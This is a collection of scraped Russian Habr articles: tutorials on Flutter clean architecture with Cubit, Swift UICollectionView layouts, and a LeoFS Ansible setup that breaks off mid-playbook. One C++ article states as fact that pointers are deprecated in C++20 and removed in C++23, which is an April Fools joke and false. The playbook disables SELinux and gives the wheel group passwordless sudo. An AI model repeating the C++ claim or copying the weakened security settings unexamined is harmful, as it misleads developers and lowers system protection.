[Optimising Small Data Structures in JRuby+Truffle](https://chrisseaton.com/truffleruby/small-data-structures/)
[Pushing Pixels with JRuby+Truffle](https://chrisseaton.com/truffleruby/pushing-pixels/)
[Tracing With Zero Overhead in JRuby+Truffle](https://chrisseaton.com/truffleruby/set_trace_func/)
[How Method Dispatch Works in JRuby+Truffle](https://chrisseaton.com/truffleruby/how-method-dispatch-works-in-jruby-truffle/)
[A Truffle/Graal High Performance Backend for JRuby](https://chrisseaton.com/truffleruby/announcement/) | https://habr.com/ru/post/419637/ | null | ru | null |
# Реализуем чистую архитектуру на Flutter с cubit
Соблюдать принципы чистой архитектуры – значит обеспечить удобство тестирования, поддержки и модернизации приложения. Понимание архитектуры и state management – это база, необходимая начинающему специалисту для успешной командной работы. В этой статье мы расскажем, как с помощью **Cubit** реализовать чистую архитектуру на примере стартового приложения Flutter – счетчика нажатий на кнопку.
Подробнее о работе с фреймворком Flutter мы рассказывали в одной из прошлых [статей](https://habr.com/ru/company/simbirsoft/blog/441766/). На данный момент на Flutter реализуют приложения для мобильных, веб-, настольных и встроенных устройств.
Библиотека [Cubit](https://bloclibrary.dev/) предназначена для управления состоянием экрана и позволяет реализовать шаблон проектирования BLoC. С ее помощью можно упростить отделение презентации от бизнес-логики, тестирование и переиспользование кода.
Для начала отметим, что концепция чистой архитектуры, созданная Робертом Мартином, основана на выделении независимых слоев приложения:
Обычно приложение состоит из четырех слоев:
* Internal – слой приложения, в котором происходит внедрение зависимостей;
* Presenters – слой, в котором описывается визуальная составляющая окна и управление его состоянием;
* Domain – слой бизнес-логики;
* Data – слой, в котором описывается работа с источниками данных (интернет-запрос или база данных).
Также сами слои подразделяются на элементы:
* data – элемент слоя data для работы с данными. На этом уровне, например, описываем работу с внешним API;
* repository – элемент слоя data, который создает и возвращает данные из Data-слоя в виде Entity-объекта;
* use case – элемент слоя domain, отвечающий за детализацию, описание действия, которое может совершить пользователь системы;
* presenter – элемент слоя presentation, на этом уровне описывается state management;
* UI – элемент слоя presentation, на этом уровне описываются визуальные элементы окна.
Эту схему не стоит воспринимать буквально: в отдельных проектах может отсутствовать Use Case, также state managеment может переходить из presenter в Use Case. Однако, слои остаются независимыми, что помогает упростить работу программиста.
Потоком данных на схеме является набор информации, перетекающий из одной части приложения в другую.
Мы преобразуем одно из простых приложений на Flutter с использованием чистой архитектуры и с возможностью сохранения данных счетчика. Добавим функционал сохранения данных для того, чтобы наглядно показать реализацию data слоя чистой архитектуры.
### Создание проекта
Если вы еще не работали с Flutter, вы можете воспользоваться [инструкцией](https://flutter.dev/docs/get-started/install) и создать проект с помощью IDE или командной строки:
flutter create myapp
Вы создаете проект с примером счетчика нажатий. После удаления комментариев и переноса части кода в home\_page.screen.dart получаете проект с примерно такой структурой:
main.dart
```
import 'package:clean_arch_example_cubit/home_page_screen.dart';
import 'package:flutter/material.dart';
void main() {
runApp(MyApp());
}
class MyApp extends StatelessWidget {
@override
Widget build(BuildContext context) {
return MaterialApp(
title: 'Flutter Demo',
theme: ThemeData(
primarySwatch: Colors.blue,
),
home: MyHomePage(title: 'Flutter Demo Home Page'),
);
}
}
```
home\_page\_screen.dart
```
import 'package:flutter/material.dart';
class MyHomePage extends StatefulWidget {
MyHomePage({Key? key, required this.title}) : super(key: key);
final String title;
@override
_MyHomePageState createState() => _MyHomePageState();
}
class _MyHomePageState extends State {
int \_counter = 0;
void \_incrementCounter() {
setState(() {
\_counter++;
});
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
title: Text(widget.title),
),
body: Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(
'You have pushed the button this many times:',
),
Text(
'$\_counter',
style: Theme.of(context).textTheme.headline4,
),
],
),
),
floatingActionButton: FloatingActionButton(
onPressed: \_incrementCounter,
tooltip: 'Increment',
child: Icon(Icons.add),
),
);
}
}
```
Теперь необходимо написать кубит для управления состоянием home\_page\_screen, который будет лежать в директории domain
Перенесем \_counter из home\_page\_screen.dart в home\_page\_state.dart, а функцию \_incrementCounter() в home\_page\_cubit
Распределим файлы по директориям, и в результате наш проект будет выглядеть следующим образом:
home\_page\_screen.dart
```
import 'package:clean_arch_example_cubit/presentation/bloc/home_page/home_page_cubit.dart';
import 'package:clean_arch_example_cubit/presentation/bloc/home_page/home_page_state.dart';
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
class MyHomePage extends StatefulWidget {
MyHomePage({Key? key, required this.title}) : super(key: key);
final String title;
@override
_MyHomePageState createState() => _MyHomePageState();
}
class _MyHomePageState extends State {
final HomePageCubit cubit = HomePageCubit();
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
title: Text(widget.title),
),
body: Center(
child: BlocBuilder(
bloc: cubit,
builder: (context, state) {
return Column(
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(
'You have pushed the button this many times:',
),
Text(
'${state.count}',
style: Theme.of(context).textTheme.headline4,
),
],
);
},
)),
floatingActionButton: FloatingActionButton(
onPressed: cubit.incrementCounter,
tooltip: 'Increment',
child: Icon(Icons.add),
),
);
}
}
```
home\_page\_cubit.dart
```
import 'package:clean_arch_example_cubit/presentation/bloc/home_page/home_page_state.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
class HomePageCubit extends Cubit {
HomePageCubit() : super(HomePageState(count: 0));
void incrementCounter() {
emit(HomePageState(count: state.count+1));
}
}
```
home\_page\_state.dart
```
class HomePageState {
final int count;
const HomePageState({required this.count});
}
```
В home\_page\_state необходимо сделать все объекты final, для того чтобы не было возможности редактировать существующий стейт. В противном случае при попытке выполнить emit() с измененным стейтом в кубите не будет изменений на экране.
Теперь создадим слой для работы с данными.
Для этого необходимо создать директорию data с поддиректориями repository, который будет хранить как абстрактный класс репозитория, так и его имплементацию.
От репозитория требуется 2 действия: получить последнее сохраненное значение и записать значение в базу для последующего извлечения.
Для этого создадим 2 метода:
```
int getLastCount();
Future saveCount(int count);
```
Чтобы в приложении появилась возможность сохранять количество нажатий на кнопку, воспользуемся библиотекой hive. Добавим 2 библиотеки для работы с Hive: hive и path\_provider
Напишем реализацию для CounterRepositoryImpl.dart
```
import 'package:clean_arch_example_cubit/data/repository/interface/counter_repo.dart';
import 'package:hive/hive.dart';
class CounterRepositoryImpl extends CounterRepository {
static const boxKey = 'counter';
final Box box;
CounterRepositoryImpl(this.box);
@override
int getLastCount() => box.get(boxKey, defaultValue: 0);
@override
Future saveCount(int count) => box.put(boxKey, count);
}
```
Теперь нужно создать слой Domain с Use Case.
Для этого необходимо создать папку domain с use\_cases, в которой мы выполним абстрактную часть и ее реализацию. Архитектура domain-слоя будет выглядеть следующим образом:
counter\_case.dart содержит в себе абстрактную часть use case, в котором будет 2 метода для получения и сохранения значения счетчика
```
abstract class CounterCase{
int getLastCount();
Future saveCount(int count);
}
```
Реализация (counter\_case\_imple.dart) будет выглядеть следующим образом:
```
import 'package:clean_arch_example_cubit/data/repository/interface/counter_repo.dart';
import 'package:clean_arch_example_cubit/domain/use_cases/interfaces/counter_case.dart';
class CounterCaseImpl extends CounterCase {
final CounterRepository _counterRepository;
CounterCaseImpl(this._counterRepository);
@override
int getLastCount() => _counterRepository.getLastCount();
@override
Future saveCount(int count) => \_counterRepository.saveCount(count);
}
```
Теперь добавим внедрение зависимостей. Для этого создадим класс-синглтон DI, в котором метод init будет реализовывать counterRepository, там же и сделаем инициализацию hive.
В итоге DI будет выглядеть следующим образом:
```
import 'package:clean_arch_example_cubit/data/repository/impl/counter_repo_impl.dart';
import 'package:clean_arch_example_cubit/data/repository/interface/counter_repo.dart';
import 'package:clean_arch_example_cubit/domain/use_cases/impl/counter_case_impl.dart';
import 'package:clean_arch_example_cubit/domain/use_cases/interfaces/counter_case.dart';
import 'package:hive/hive.dart';
import 'package:path_provider/path_provider.dart';
class DI {
static DI? instance;
late CounterRepository counterRepository;
late CounterCase counterCase;
DI._();
static DI getInstance() {
return instance ?? (instance = DI._());
}
Future init() async {
final directory = await getApplicationSupportDirectory();
Hive.init(directory.path);
counterRepository = CounterRepositoryImpl(await Hive.openBox('counter'));
counterCase = CounterCaseImpl(counterRepository);
}
}
```
Инициализацию DI можно сделать через FutureBuilder при открытии приложения.
В итоге файл main.dart будет выглядеть следующим образом:
```
import 'package:clean_arch_example_cubit/di.dart';
import 'package:clean_arch_example_cubit/presentation/screen/home_page_screen.dart';
import 'package:flutter/material.dart';
void main() async {
runApp(MyApp());
}
class MyApp extends StatelessWidget {
@override
Widget build(BuildContext context) {
return MaterialApp(
title: 'Flutter Demo',
theme: ThemeData(
primarySwatch: Colors.blue,
),
home: FutureBuilder(
future: DI.getInstance().init(),
builder: (context, snapshot) {
if (snapshot.connectionState == ConnectionState.done) {
return MyHomePage(title: 'Flutter Demo Home Page');
}else{
return const CircularProgressIndicator();
}
},
),
);
}
}
```
Теперь необходимо дописать функционал инициализации home\_page\_cubit и обработку нажатия на кнопку прибавления счетчика
Код
```
import 'package:clean_arch_example_cubit/di.dart';
import 'package:clean_arch_example_cubit/presentation/bloc/home_page/home_page_state.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
class HomePageCubit extends Cubit {
final counterCases = DI.getInstance().counterCase;
HomePageCubit() : super(HomePageState(count: 0)) {
emit(HomePageState(count: counterCases.getLastCount()));
}
Future incrementCounter() async {
final \_savedValue = await counterCases.saveCount(state.count + 1);
emit(HomePageState(count: \_savedValue));
}
}
```
Всё!
----
Теперь при запуске приложения происходит инициализация DI, в котором создается CounterRepository, CounterCase. После открывается home\_page\_screen, который инициализирует home\_page\_cubit, и тот загружает последнее сохраненное значение счетчика и показывает его на экране.
Логику работы кнопки увеличения счетчика можно представить на графике ниже:
Нажатие на кнопку вызывает incrementCounter у кубита, что приводит в действие метод saveCount у use case. Последний, в свою очередь, запускает метод saveCount у репозитория. Репозиторий сохранит в Hive значение, вернет в виде объекта Entity в home\_page\_cubit, который обновит стейт у home\_page\_screen. Так как метод put у Hive не возвращает никаких данных, поэтому в графике отсутствует стрелка от hive к counter\_repo. Если бы, например, у нас был интернет-запрос, то от блока hive была бы стрелочка к counter\_repo с результатом интернет-запроса. Познакомиться с проектом подробнее можно на [GitHub](https://github.com/articles-simbirsoft/clean_arch_cubit_example).
**Спасибо за внимание! Надеемся, что этот пример был вам полезен.** | https://habr.com/ru/post/573848/ | null | ru | null |
# Без new: Указатели будут удалены из C++
Две недели назад в Джэксонвилле встречался комитет стандарта ISO C++. Сегодня я хочу представить короткую сводку и написать о революционном решении, принятом на собрании в Джэксонвилле. Для получения дополнительной информации я рекомендую к прочтению статью [C++ больше не будет иметь указатели](https://www.fluentcpp.com/2018/04/01/cpp-will-no-longer-have-pointers/). Комитет по стандартизации языка принял решение о том, что указатели будут объявлены устаревшими в C++20 и с большой долей вероятности будут удалены из C++23.
Откровенно говоря, то, что кажется революционном, — всего лишь последний шаг длинной эволюции.
Эволюция указателей в C++
=========================
Указатели существуют в C++ с самого начала. Мы получили их из C. С самого начала развития C++ всегда была тенденция сделать управление указателями более безопасным без значительных потерь.
В C++98 мы получили `std::auto_ptr` для выражения исключительного владения. Но `std::auto_ptr` имел большой изъян. Когда вы копирует `std::auto_ptr`, владение ресурсом передавалось копии. Копирование выглядело как перемещение. Изображение ниже показывает неприятное поведение `std::auto_ptr`.
Это было очень плохо, приводило к множеству серьёзных багов. Поэтому мы получили `std::unique_ptr` в C++11, и объявили `std::auto_ptr` устаревшим в C++11, и окончательно удалили из C++17. Дополнительно мы получили `std::shared_ptr` и `std::weak_ptr` в C++11 для управления владением. Вы не можете копировать, но можете перемещать `std::unique_ptr`, и если копируете или присваиваете `std::shared_ptr`, счётчик ссылающихся указателей увеличивается. Посмотрите сюда:
Начиная с C++11 C++ имеет многопоточную библиотеку. Это делает управление `std::shared_ptr` достаточно сложным, потому что `std::shared_ptr` по определению разделяемое, но не потоко-безопасное. Только контрольная часть со счётчиками является потоко-безопасной, но не доступ к адресу контролируемого ресурса. Это значит, что изменение счётчика — атомарная операция, но вы не имеете гарантии, что ресурс будет удалён ровно один раз. По этой причине мы получаем в C++20 атомарные умные указатели: `std::atomic_shared_ptr` и `std::atmic_weak_ptr`. Про детали предложений комитета стандартизации читайте здесь: [Атомарные умные указатели](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4058.pdf).
Теперь переходим к более интересным частям будущих стандартов C++20 и C++23. Указатели будет объявлены устаревшими в C++20 и удалены из C++23. Скажем три слова: Нет Новому New (NNN).
std::unique\_ptr спасёт нас
===========================
Но подождите, как же догма C++: Не платить за то, что вам не нужно. Как мы сможем программировать без указателей? Просто используйте `std::unique_ptr`. Из своего дизайна `std::unique_ptr` такой же быстрый и экономный, как и обычный указатель, и имеет явное преимущество — автоматическое управление ресурсом.
Ниже простой тест производительности.
```
// all.cpp
#include
#include
static const long long numInt= 100000000;
int main(){
auto start = std::chrono::system\_clock::now();
for ( long long i=0 ; i < numInt; ++i){
int\* tmp(new int(i));
delete tmp;
// std::shared\_ptr tmp(new int(i));
// std::shared\_ptr tmp(std::make\_shared(i));
// std::unique\_ptr tmp(new int(i));
// std::unique\_ptr tmp(std::make\_unique(i));
}
std::chrono::duration dur= std::chrono::system\_clock::now() - start;
std::cout << "time native: " << dur.count() << " seconds" << std::endl;
}
```
Эта программа выделяет и освобождает память для 100 миллионов `int`. Я использую указатели, `std::shared_ptr` и `std::unique_ptr` в двух вариациях. Я компилирую программу с и без максимальной оптимизации в Linux и в Windows. Получаются такие числа:
Две вариации `std::unique_ptr` на Linux и Windows показывают такую же производительность, как обычные указатели. За деталями этого теста обратитесь к моей прошлой статье: [Потребление памяти и производительность умных указателей](http://www.modernescpp.com/index.php/memory-and-performance-overhead-of-smart-pointer).
Семантика владения
==================
Честно говоря, мы используем указатели и, в частности, обычные указатели очень часто. Вопрос, должны ли вы использовать указатель, сводится к следующему: Кто владелец? К счастью, с помощью кода мы можем чётко выразить это.
* **Локальные объекты**. Рантайм C++ как владелец автоматически управляет жизнью таких ресурсов. То же самое относится к глобальным объектам или членам класса. Справочники сводят это к области видимости.
* **Ссылки**: я не владелец. Я только обеспечиваю, что ресурс не может быть пустым.
* **Обычные указатели**: я не владелец. Я только ссылаюсь на ресурс, если он есть. Я не должен удалять ресурс.
* **std::unique\_ptr**: я исключительный владелец ресурса. Я могу явно освободить мой ресурс.
* **std::shared\_ptr**: я разделяю ресурс с другими `std::shared_ptr`. Я могу явно удалить мой разделяемый ресурс, если он больше никому не нужен.
* **std::weak\_ptr**: я не владелец ресурса, но я могу временно разделять ресурс при вызове моего метода `std::weak_ptr::lock`.
Нам нужно будет изменить только одну из шести практик использования указателей и мы рады следующему шагу в развитии C++. | https://habr.com/ru/post/352570/ | null | ru | null |
# UICollectionView всему голова: Изменение представления на лету
Привет, Хабр! Представляю вашему вниманию перевод статьи "[UICollectionView Tutorial: Changing presentation on the fly](https://indeema.com/blog/uicollectionview-tutorial--changing-presentation-on-the-fly)".
В данной статье мы рассмотрим использование различный способов отображение элементов, а также их переиспользование и динамическое изменение. Здесь мы не будем рассматривать основы работы с коллекциями и autolayout.
В результате мы получим такой пример:
При разработке мобильных приложений часто встречаются ситуации, когда табличного представления недостаточно и нужно показывать список элементов более интересно и уникально. Кроме того, возможность изменить способ отображения элементов может стать “фишкой” вашего приложения.
Все вышеперечисленные возможности достаточно просто реализовать при помощи UICollectionView и различных реализаций протокола UICollectionViewDelegateFlowLayout.
[**Полный код проекта.**](https://github.com/IndeemaSoftware/CustomCollectionLayout)
Что нам потребуется в первую очередь для реализации:
* class FruitsViewController: UICollectionViewController.
* Модель данных Fruit
```
struct Fruit {
let name: String
let icon: UIImage
}
```
* class FruitCollectionViewCell: UICollectionViewCell
### Ячейка с UIImageView и UILabel для отображения фруктов
Ячейку мы создадим в отдельном файле с xib ом для возможности переиспользования.
По дизайну мы видим, что возможны 2 варианта ячейки — с текстом снизу и текстом справа от изображения.
Могут быть абсолютно отличающиеся виды ячеек, в таком случае нужно создавать 2 отдельных класса и использовать нужный. В нашем случае такой необходимости нет и достаточно 1 ячейки с UIStackView.
**Шаги создания интерфейса для ячейки:**
1. Добавляем UIView
2. Внутрь нее добавляем UIStackView (horizontal)
3. Далее добавляем UIImageView и UILabel в UIStackView.
4. Для UILabel устанавливаем значения Content Compression Resistance Priority = 1000 для горизонтали и для вертикали.
5. Добавляем для UIImageView Aspect Ratio 1:1 и изменяем приоритет на 750.
Это нужно для корректного отображения в горизонтальном режиме.
Далее напишем логику отображения нашей ячейки как в горизонтальном, так и в вертикальном режиме.
Основным критерием отображения по горизонтали будем считать размер самой ячейки. Т.е. если места достаточно — отображаем горизонтальный режим. Если нет — вертикальный. Будем считать что достаточно места — это когда ширина в 2 раза больше высоты, так как изображение должно быть квадратным.
**Код ячейки:**
```
class FruitCollectionViewCell: UICollectionViewCell {
static let reuseID = String(describing: FruitCollectionViewCell.self)
static let nib = UINib(nibName: String(describing: FruitCollectionViewCell.self), bundle: nil)
@IBOutlet private weak var stackView: UIStackView!
@IBOutlet private weak var ibImageView: UIImageView!
@IBOutlet private weak var ibLabel: UILabel!
override func awakeFromNib() {
super.awakeFromNib()
backgroundColor = .white
clipsToBounds = true
layer.cornerRadius = 4
ibLabel.font = UIFont.systemFont(ofSize: 18)
}
override func layoutSubviews() {
super.layoutSubviews()
updateContentStyle()
}
func update(title: String, image: UIImage) {
ibImageView.image = image
ibLabel.text = title
}
private func updateContentStyle() {
let isHorizontalStyle = bounds.width > 2 * bounds.height
let oldAxis = stackView.axis
let newAxis: NSLayoutConstraint.Axis = isHorizontalStyle ? .horizontal : .vertical
guard oldAxis != newAxis else { return }
stackView.axis = newAxis
stackView.spacing = isHorizontalStyle ? 16 : 4
ibLabel.textAlignment = isHorizontalStyle ? .left : .center
let fontTransform: CGAffineTransform = isHorizontalStyle ? .identity : CGAffineTransform(scaleX: 0.8, y: 0.8)
UIView.animate(withDuration: 0.3) {
self.ibLabel.transform = fontTransform
self.layoutIfNeeded()
}
}
}
```
Перейдем к основной части — к контроллеру и логике отображения и переключения видов ячеек.
Для всех возможных состояний отображения создадим enum PresentationStyle.
Также добавим кнопку для переключения между состояниями в навигейшн бар.
```
class FruitsViewController: UICollectionViewController {
private enum PresentationStyle: String, CaseIterable {
case table
case defaultGrid
case customGrid
var buttonImage: UIImage {
switch self {
case .table: return imageLiteral(resourceName: "table")
case .defaultGrid: return imageLiteral(resourceName: "default_grid")
case .customGrid: return imageLiteral(resourceName: "custom_grid")
}
}
}
private var selectedStyle: PresentationStyle = .table {
didSet { updatePresentationStyle() }
}
private var datasource: [Fruit] = FruitsProvider.get()
override func viewDidLoad() {
super.viewDidLoad()
self.collectionView.register(FruitCollectionViewCell.nib,
forCellWithReuseIdentifier: FruitCollectionViewCell.reuseID)
collectionView.contentInset = .zero
updatePresentationStyle()
navigationItem.rightBarButtonItem = UIBarButtonItem(image: selectedStyle.buttonImage, style: .plain, target: self, action: #selector(changeContentLayout))
}
private func updatePresentationStyle() {
navigationItem.rightBarButtonItem?.image = selectedStyle.buttonImage
}
@objc private func changeContentLayout() {
let allCases = PresentationStyle.allCases
guard let index = allCases.firstIndex(of: selectedStyle) else { return }
let nextIndex = (index + 1) % allCases.count
selectedStyle = allCases[nextIndex]
}
}
// MARK: UICollectionViewDataSource & UICollectionViewDelegate
extension FruitsViewController {
override func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
return datasource.count
}
override func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
guard let cell = collectionView.dequeueReusableCell(withReuseIdentifier: FruitCollectionViewCell.reuseID,
for: indexPath) as? FruitCollectionViewCell else {
fatalError("Wrong cell")
}
let fruit = datasource[indexPath.item]
cell.update(title: fruit.name, image: fruit.icon)
return cell
}
}
```
Все что касается способа отображения элементов в коллекции описано в протоколе UICollectionViewDelegateFlowLayout. Следовательно, чтобы убрать какие либо реализации из контроллера и создать независимые переиспользуемые элементы — создадим под каждый вид отображения отдельную реализацию этого протокола.
Однако, есть 2 нюанса:
1. В этом протоколе также описан метод выбора ячейки (didSelectItemAt:)
2. Некоторые методы и логика одинаковы для всех N методов отображения (в нашем случаем N = 3).
По этому, создадим протокол ***CollectionViewSelectableItemDelegate***, расширять стандартный протокол ***UICollectionViewDelegateFlowLayout***, в котором определим замыкание выбора ячейки и в случае необходимости, какие либо дополнительные свойства и методы (например, возвращение типа ячейки, если используются различные типы для представлений). Это решит первую проблему.
```
protocol CollectionViewSelectableItemDelegate: class, UICollectionViewDelegateFlowLayout {
var didSelectItem: ((_ indexPath: IndexPath) -> Void)? { get set }
}
```
Для решения второй проблемы — с дублированием логики, создадим базовый класс со всей общей логикой:
```
class DefaultCollectionViewDelegate: NSObject, CollectionViewSelectableItemDelegate {
var didSelectItem: ((_ indexPath: IndexPath) -> Void)?
let sectionInsets = UIEdgeInsets(top: 16.0, left: 16.0, bottom: 20.0, right: 16.0)
func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
didSelectItem?(indexPath)
}
func collectionView(_ collectionView: UICollectionView, didHighlightItemAt indexPath: IndexPath) {
let cell = collectionView.cellForItem(at: indexPath)
cell?.backgroundColor = UIColor.clear
}
func collectionView(_ collectionView: UICollectionView, didUnhighlightItemAt indexPath: IndexPath) {
let cell = collectionView.cellForItem(at: indexPath)
cell?.backgroundColor = UIColor.white
}
}
```
В нашем случае общей логикой является вызов замыкания при выборе ячейки, а также изменение фона ячейки при переходе в состояние **highlighted**.
Далее опишем 3 реализации представлений: табличная, по 3 элемента в каждом ряде и комбинация первых двух способов.
**Табличная**:
```
class TabledContentCollectionViewDelegate: DefaultCollectionViewDelegate {
// MARK: - UICollectionViewDelegateFlowLayout
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
sizeForItemAt indexPath: IndexPath) -> CGSize {
let paddingSpace = sectionInsets.left + sectionInsets.right
let widthPerItem = collectionView.bounds.width - paddingSpace
return CGSize(width: widthPerItem, height: 112)
}
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
insetForSectionAt section: Int) -> UIEdgeInsets {
return sectionInsets
}
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
minimumLineSpacingForSectionAt section: Int) -> CGFloat {
return 10
}
}
```
**3 элемента в каждом ряде:**
```
class DefaultGriddedContentCollectionViewDelegate: DefaultCollectionViewDelegate {
private let itemsPerRow: CGFloat = 3
private let minimumItemSpacing: CGFloat = 8
// MARK: - UICollectionViewDelegateFlowLayout
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
sizeForItemAt indexPath: IndexPath) -> CGSize {
let paddingSpace = sectionInsets.left + sectionInsets.right + minimumItemSpacing * (itemsPerRow - 1)
let availableWidth = collectionView.bounds.width - paddingSpace
let widthPerItem = availableWidth / itemsPerRow
return CGSize(width: widthPerItem, height: widthPerItem)
}
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
insetForSectionAt section: Int) -> UIEdgeInsets {
return sectionInsets
}
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
minimumLineSpacingForSectionAt section: Int) -> CGFloat {
return 20
}
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
minimumInteritemSpacingForSectionAt section: Int) -> CGFloat {
return minimumItemSpacing
}
}
```
**Комбинация табличной и 3х в ряд.**
```
class CustomGriddedContentCollectionViewDelegate: DefaultCollectionViewDelegate {
private let itemsPerRow: CGFloat = 3
private let minimumItemSpacing: CGFloat = 8
// MARK: - UICollectionViewDelegateFlowLayout
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
sizeForItemAt indexPath: IndexPath) -> CGSize {
let itemSize: CGSize
if indexPath.item % 4 == 0 {
let itemWidth = collectionView.bounds.width - (sectionInsets.left + sectionInsets.right)
itemSize = CGSize(width: itemWidth, height: 112)
} else {
let paddingSpace = sectionInsets.left + sectionInsets.right + minimumItemSpacing * (itemsPerRow - 1)
let availableWidth = collectionView.bounds.width - paddingSpace
let widthPerItem = availableWidth / itemsPerRow
itemSize = CGSize(width: widthPerItem, height: widthPerItem)
}
return itemSize
}
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
insetForSectionAt section: Int) -> UIEdgeInsets {
return sectionInsets
}
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
minimumLineSpacingForSectionAt section: Int) -> CGFloat {
return 20
}
func collectionView(_ collectionView: UICollectionView,
layout collectionViewLayout: UICollectionViewLayout,
minimumInteritemSpacingForSectionAt section: Int) -> CGFloat {
return minimumItemSpacing
}
}
```
Последний этап — это добавить данные представления в контроллер и устанавливать коллекции нужный делегат.
**Важный момент:** так как делегат коллекции ***weak***, то необходимо иметь ***strong*** ссылку в контроллере на объект представления.
Создадим в контроллере словарь всех доступных представлений относительно типа:
```
private var styleDelegates: [PresentationStyle: CollectionViewSelectableItemDelegate] = {
let result: [PresentationStyle: CollectionViewSelectableItemDelegate] = [
.table: TabledContentCollectionViewDelegate(),
.defaultGrid: DefaultGriddedContentCollectionViewDelegate(),
.customGrid: CustomGriddedContentCollectionViewDelegate(),
]
result.values.forEach {
$0.didSelectItem = { _ in
print("Item selected")
}
}
return result
}()
```
И в метод ***updatePresentationStyle()*** добавим анимированное изменение делегат коллекции:
```
collectionView.delegate = styleDelegates[selectedStyle]
collectionView.performBatchUpdates({
collectionView.reloadData()
}, completion: nil)
```
Вот и все что необходимо, чтобы наши элементы анимировано переходили от одного вида к другому :)
Таким образом, мы теперь можем на любом экране отображать элементы каким угодно способом, динамически переключаться между отображениями и самое главное — код получился независимый, переиспользуемый и масштабируемый.
[**Полный код проекта.**](https://github.com/IndeemaSoftware/CustomCollectionLayout) | https://habr.com/ru/post/445708/ | null | ru | null |
# Установка распределённого отказоустойчивого хранилища объектов LeoFS, совместимого с клиентами, использующими S3, NFS
Я из компании Luxoft.
Согласно [Opennet](https://www.opennet.ru/opennews/art.shtml?num=48357): [LeoFS](http://leo-project.net/leofs/index.html) — распределённое отказоустойчивое хранилище объектов [LeoFS](http://leo-project.net/leofs/index.html), совместимое с клиентами, использующими API Amazon S3 и REST-API, а также поддерживающего режим работы в роли NFS-сервера. Имеются оптимизации для хранение как мелких, так и очень больших объектов, присутствует встроенный механизм кэширования, возможна репликация хранилищ между дата-центрами. Среди целей проекта отмечается достижение надёжности 99.9999999% за счёт избыточного реплицирования дубликатов и исключения единой точки отказа. Код проекта написан на языке Erlang.
LeoFS состоит из трёх компонентов:
* [LeoFS Storage](https://leo-project.net/leofs/docs/architecture/leo_storage/) — обслуживает операции добавления, извлечения и удаления объектов и метаданных, отвечает за выполнение репликации, восстановления и формирования очереди запросов клиентов.
* [LeoFS Gateway](https://leo-project.net/leofs/docs/architecture/leo_gateway/) — обслуживает HTTP-запросы и перенаправляет ответы клиентам с использованием REST-API или S3-API, обеспечивает кэширование наиболее востребованных данных в памяти и на диске.
* [LeoFS Manager](https://leo-project.net/leofs/docs/architecture/leo_manager/) — отслеживает работу узлов LeoFS Gateway и LeoFS Storage, ведёт мониторинг состояния узлов и проверяет контрольные суммы. Гарантирует целостность данных и высокую доступность хранилища.
В этом посте установим Leofs c помощью ansible-playbook, протестируем S3, NFS.
Если вы попытаетесь установить LeoFS используя официальные playbook-и, то вас ждут разные ошибки: [1](https://github.com/leo-project/leofs_ansible/issues/5),[2](https://github.com/leo-project/leofs_ansible/issues/4). В этом посте напишу что нужно сделать чтобы эти ошибки избежать.
Там где вы будете запускать ansible-playbook, нужно установить netcat.
#### Пример inventory
**Пример inventory (в репозитории hosts.sample):**
```
# Please check roles/common/vars/leofs_releases for available versions
[all:vars]
leofs_version=1.4.3
build_temp_path="/tmp/leofs_builder"
build_install_path="/tmp/"
build_branch="master"
source="package"
#[builder]
#172.26.9.177
# nodename of leo_manager_0 and leo_manager_1 are set at group_vars/all
[leo_manager_0]
172.26.9.176
# nodename of leo_manager_0 and leo_manager_1 are set at group_vars/all
[leo_manager_1]
172.26.9.178
[leo_storage]
172.26.9.179 leofs_module_nodename=S0@172.26.9.179
172.26.9.181 leofs_module_nodename=S0@172.26.9.181
172.26.9.182 leofs_module_nodename=S0@172.26.9.182
172.26.9.183 leofs_module_nodename=S0@172.26.9.183
[leo_gateway]
172.26.9.180 leofs_module_nodename=G0@172.26.9.180
172.26.9.184 leofs_module_nodename=G0@172.26.9.184
[leofs_nodes:children]
leo_manager_0
leo_manager_1
leo_gateway
leo_storage
```
#### Подготовка серверов
Отключение Selinux. Надеюсь что сообщество создаст политики Selinux для LeoFS.
```
- name: Install libselinux as prerequisite for SELinux Ansible module
yum:
name: "{{item}}"
state: latest
with_items:
- libselinux-python
- libsemanage-python
- name: Disable SELinux at next reboot
selinux:
state: disabled
- name: Set SELinux in permissive mode until the machine is rebooted
command: setenforce 0
ignore_errors: true
changed_when: false
```
Установка `netcat` и `redhat-lsb-core`. `netcat` нужен для `leofs-adm`, `redhat-lsb-core` нужен для определения версии ОС [здесь](https://github.com/leo-project/leofs_ansible/blob/master/roles/common/tasks/install_package.yml#L5).
```
- name: Install Packages
yum: name={{ item }} state=present
with_items:
- nmap-ncat
- redhat-lsb-core
```
Создание юзера leofs и добавление его в группу wheel
```
- name: Create user leofs
group:
name: leofs
state: present
- name: Allow 'wheel' group to have passwordless sudo
lineinfile:
dest: /etc/sudoers
state: present
regexp: '^%wheel'
line: '%wheel ALL=(ALL) NOPASSWD: ALL'
validate: 'visudo -cf %s'
